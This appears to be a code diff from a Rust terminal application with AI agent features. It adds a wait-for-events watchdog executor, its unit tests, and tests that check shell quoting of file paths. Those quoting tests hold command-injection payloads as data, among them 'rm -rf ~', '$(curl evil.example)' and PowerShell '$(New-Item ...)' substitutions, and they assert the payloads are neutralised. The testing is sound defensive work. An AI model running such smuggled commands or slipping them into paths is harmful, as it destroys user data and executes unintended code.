.conversation(&conversation_id)
|
||||
.is_some_and(|c| matches!(c.status(), ConversationStatus::WaitingForEvents));
|
||||
if !still_waiting {
|
||||
log::info!(
|
||||
"WaitForEventsExecutor: watchdog stale (conversation no longer waiting); \
|
||||
dropping pending entry conversation_id={conversation_id:?} \
|
||||
tool_call_id={tool_call_id}"
|
||||
);
|
||||
self.pending.remove(&conversation_id);
|
||||
return;
|
||||
}
|
||||
let Some(pending) = self.pending.remove(&conversation_id) else {
|
||||
return;
|
||||
};
|
||||
log::info!(
|
||||
"WaitForEventsExecutor: watchdog fired conversation_id={conversation_id:?} \
|
||||
tool_call_id={tool_call_id}"
|
||||
);
|
||||
let _ = pending.sender.try_send(WaitForEventsResult::Completed);
|
||||
}
|
||||
}
|
||||
|
||||
impl Entity for WaitForEventsExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "wait_for_events_tests.rs"]
|
||||
mod tests;
|
||||
@@ -0,0 +1,163 @@
|
||||
//! Unit tests for the pure helpers in `wait_for_events`, plus an App-based
|
||||
//! test of the executor's parent-registration wiring.
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::{
|
||||
watchdog_timeout_for_stamped_seconds, AnyActionExecution, ExecuteActionInput,
|
||||
WaitForEventsExecutor, CLIENT_WATCHDOG_SAFETY_MARGIN,
|
||||
DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS, HARD_FLOOR,
|
||||
};
|
||||
use crate::ai::agent::conversation::{AIConversation, ConversationStatus};
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::server::server_api::ai::{AIClient, MockAIClient};
|
||||
use crate::server::server_api::ServerApiProvider;
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_constants_match_documented_values() {
|
||||
// The behavioural tests below assert the contract; this trips if
|
||||
// someone moves a constant without updating the documented intent.
|
||||
assert_eq!(DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS, 30 * 60);
|
||||
assert_eq!(CLIENT_WATCHDOG_SAFETY_MARGIN, Duration::from_secs(30));
|
||||
assert_eq!(HARD_FLOOR, Duration::from_secs(5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_subtracts_margin_for_stamped_minute() {
|
||||
// A 60s stamped timeout has 30s of headroom after subtracting the
|
||||
// safety margin — that's the canonical "happy path" the safety
|
||||
// margin is designed for.
|
||||
assert_eq!(
|
||||
watchdog_timeout_for_stamped_seconds(60),
|
||||
Duration::from_secs(30)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_clamps_to_hard_floor_when_stamped_value_is_too_small() {
|
||||
// A 10s stamped timeout would become negative after subtracting the
|
||||
// 30s safety margin — the hard floor kicks in so the watchdog still
|
||||
// fires after a finite delay.
|
||||
assert_eq!(
|
||||
watchdog_timeout_for_stamped_seconds(10),
|
||||
HARD_FLOOR,
|
||||
"stamped 10s should clamp to HARD_FLOOR after subtracting the safety margin"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_falls_back_to_default_minus_margin_when_unset() {
|
||||
// Prost flattens scalars, so the proto's "unset" looks like `0` on
|
||||
// the Rust side; treat that as "use the default minus margin".
|
||||
let expected = Duration::from_secs(DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS as u64)
|
||||
- CLIENT_WATCHDOG_SAFETY_MARGIN;
|
||||
assert_eq!(watchdog_timeout_for_stamped_seconds(0), expected);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_clamps_negative_value_to_default_minus_margin() {
|
||||
// Defense against a buggy or malicious payload. `Duration::from_secs`
|
||||
// takes a `u64`; a negative value would underflow without the clamp.
|
||||
let expected = Duration::from_secs(DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS as u64)
|
||||
- CLIENT_WATCHDOG_SAFETY_MARGIN;
|
||||
assert_eq!(watchdog_timeout_for_stamped_seconds(-42), expected);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_preserves_large_stamped_value() {
|
||||
// Server-supplied values well above the margin pass through as
|
||||
// (stamped - margin). 15 minutes stays at 14m30s after the
|
||||
// subtraction.
|
||||
assert_eq!(
|
||||
watchdog_timeout_for_stamped_seconds(900),
|
||||
Duration::from_secs(900) - CLIENT_WATCHDOG_SAFETY_MARGIN
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_invokes_parent_registration_and_honors_child_short_circuit() {
|
||||
// `execute()` must route into the orchestration streamer behind the flag.
|
||||
// For a child conversation (has_parent_agent), the streamer short-circuits
|
||||
// without a server fetch (asserted via the mock's times(0) expectation),
|
||||
// and the wait still flips the conversation into WaitingForEvents.
|
||||
App::test((), |mut app| async move {
|
||||
let _flag_guard = FeatureFlag::WaitForEventsParentRegistration.override_enabled(true);
|
||||
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &[]));
|
||||
|
||||
// A streamer whose server fetch must never be called: the child
|
||||
// short-circuit precedes any `get_ambient_agent_task` call.
|
||||
let mut mock = MockAIClient::new();
|
||||
mock.expect_get_ambient_agent_task().times(0);
|
||||
let ai_client: Arc<dyn AIClient> = Arc::new(mock);
|
||||
let server_api = ServerApiProvider::new_for_test().get();
|
||||
// Held for the lifetime of the test so the mock's times(0) expectation
|
||||
// is verified on drop; resolved internally by `execute()` via
|
||||
// `OrchestrationEventStreamer::handle`.
|
||||
let _streamer = app.add_singleton_model(|ctx| {
|
||||
OrchestrationEventStreamer::new_with_clients_for_test(ai_client, server_api, ctx)
|
||||
});
|
||||
|
||||
let executor = app.add_model(|ctx| WaitForEventsExecutor::new(terminal_view_id, ctx));
|
||||
|
||||
// Child conversation: own run_id plus a parent_agent_id.
|
||||
let mut conversation = AIConversation::new(false, false);
|
||||
conversation.set_run_id("550e8400-e29b-41d4-a716-446655440530".to_string());
|
||||
conversation.set_parent_agent_id("550e8400-e29b-41d4-a716-4466554405fc".to_string());
|
||||
let conversation_id = conversation.id();
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.restore_conversations(terminal_view_id, vec![conversation], ctx);
|
||||
model.update_conversation_status(
|
||||
terminal_view_id,
|
||||
conversation_id,
|
||||
ConversationStatus::InProgress,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("wait-action".to_string()),
|
||||
action: AIAgentActionType::WaitForEvents {
|
||||
tool_call_id: "tool-call-1".to_string(),
|
||||
idle_timeout_seconds: 600,
|
||||
},
|
||||
task_id: TaskId::new("wait-task".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
assert!(
|
||||
matches!(execution, AnyActionExecution::Async { .. }),
|
||||
"WaitForEvents should yield an async execution"
|
||||
);
|
||||
|
||||
history_model.read(&app, |model, _| {
|
||||
assert!(
|
||||
matches!(
|
||||
model.conversation(&conversation_id).map(|c| c.status()),
|
||||
Some(ConversationStatus::WaitingForEvents)
|
||||
),
|
||||
"execute() must flip the conversation into WaitingForEvents"
|
||||
);
|
||||
});
|
||||
// The child short-circuit is asserted by the mock's times(0)
|
||||
// expectation, verified when `_streamer` drops at test teardown:
|
||||
// a child conversation must never trigger a `get_ambient_agent_task`
|
||||
// fetch.
|
||||
});
|
||||
}
|
||||
@@ -97,3 +97,100 @@ mod binary_detection {
|
||||
assert!(block_on(is_file_content_binary_async(&missing)));
|
||||
}
|
||||
}
|
||||
|
||||
mod path_shell_quoting {
|
||||
use super::super::{build_is_file_path_command, build_is_git_repository_command};
|
||||
use crate::terminal::shell::ShellType;
|
||||
|
||||
#[test]
|
||||
fn is_file_path_quotes_posix_path_as_single_argument() {
|
||||
let command = build_is_file_path_command("/tmp/repo path/file.rs", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, "test -f '/tmp/repo path/file.rs'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_posix_substitutions() {
|
||||
let command =
|
||||
build_is_file_path_command("/tmp/x$(touch /tmp/warp-poc)`id`", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, "test -f '/tmp/x$(touch /tmp/warp-poc)`id`'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_embedded_quote_posix() {
|
||||
let command = build_is_file_path_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, r#"test -f '/tmp/foo'"'"'; rm -rf ~; echo '"'"''"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_quotes_powershell_path_as_single_argument() {
|
||||
let command =
|
||||
build_is_file_path_command(r#"C:\Users\me\file path.rs"#, ShellType::PowerShell);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"if (Test-Path -PathType Leaf 'C:\Users\me\file path.rs') { exit 0 } else { exit 1 }"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_powershell_substitutions() {
|
||||
let command = build_is_file_path_command(
|
||||
r#"C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE"#,
|
||||
ShellType::PowerShell,
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"if (Test-Path -PathType Leaf 'C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE') { exit 0 } else { exit 1 }"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_fish_embedded_quote() {
|
||||
let command = build_is_file_path_command("/tmp/owner's file", ShellType::Fish);
|
||||
|
||||
assert_eq!(command, r"test -f '/tmp/owner\'s file'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_quotes_posix_path_as_single_argument() {
|
||||
let command = build_is_git_repository_command("/tmp/repo path", ShellType::Zsh);
|
||||
|
||||
assert_eq!(command, "git -C '/tmp/repo path' rev-parse");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_neutralizes_posix_substitutions() {
|
||||
let command =
|
||||
build_is_git_repository_command("/tmp/x$(curl evil.example)`id`", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, "git -C '/tmp/x$(curl evil.example)`id`' rev-parse");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_neutralizes_embedded_quote_posix() {
|
||||
let command =
|
||||
build_is_git_repository_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"git -C '/tmp/foo'"'"'; rm -rf ~; echo '"'"'' rev-parse"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_neutralizes_powershell_substitutions() {
|
||||
let command = build_is_git_repository_command(
|
||||
r#"C:\repo$(New-Item C:\poc)$env:USERPROFILE"#,
|
||||
ShellType::PowerShell,
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"git -C 'C:\repo$(New-Item C:\poc)$env:USERPROFILE' rev-parse"#
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
use super::*;
|
||||
use crate::ai::agent::{task::TaskId, AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
use std::collections::HashSet;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
|
||||
fn create_test_action(id: AIAgentActionId) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id,
|
||||
|
||||
Reference in New Issue
Block a user